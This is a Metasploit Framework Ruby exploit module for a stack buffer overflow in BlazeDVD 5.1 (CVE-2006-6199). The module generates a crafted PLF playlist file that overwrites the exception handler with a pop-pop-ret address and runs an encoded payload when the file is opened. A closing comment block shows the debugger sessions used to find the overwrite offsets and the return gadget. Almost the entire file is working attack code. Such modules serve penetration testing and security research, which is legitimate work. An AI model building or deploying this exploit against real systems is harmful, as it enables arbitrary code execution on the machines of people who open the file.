89 lines
2.5 KiB
Ruby
89 lines
2.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BlazeDVD 5.1 PLF Buffer Overflow',
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'Description' => %q{
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This module exploits a stack over flow in BlazeDVD 5.1. When
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the application is used to open a specially crafted plf file,
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a buffer is overwritten allowing for the execution of arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'Version' => '$Revision:$',
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'References' =>
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[
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[ 'CVE' , '2006-6199' ],
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[ 'BID', '35918' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00",
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'BlazeDVD 5.1', { 'Ret' => 0x100101e7 } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Aug 03 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf']),
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], self.class)
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end
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def exploit
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plf = rand_text_alpha_upper(6024)
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plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V')
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plf[876,12] = make_nops(12)
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plf[888,payload.encoded.length] = payload.encoded
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(plf)
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end
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end
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=begin
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0:000> !exchain
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0012f2c8: 31644230
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Invalid exception stack at 64423963
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0:000> !pattern_offset 6024 0x31644230
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[Byakugan] Control of 0x31644230 at offset 872.
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0:000> !pattern_offset 6024 0x64423963
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[Byakugan] Control of 0x64423963 at offset 868.
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0:000> s -b 0x10000000 0x10018000 5e 59 c3
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100012cd 5e 59 c3 56 8b 74 24 08-57 8b f9 56 e8 a2 3c 00 ^Y.V.t$.W..V..<.
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100101e7 5e 59 c3 90 90 90 90 90-90 8b 44 24 08 8b 4c 24 ^Y........D$..L$
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0:000> u 0x100012cd L3
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skinscrollbar!SkinSB_ParentWndProc+0x1fd:
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100012cd 5e pop esi
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100012ce 59 pop ecx
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100012cf c3 ret
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=end
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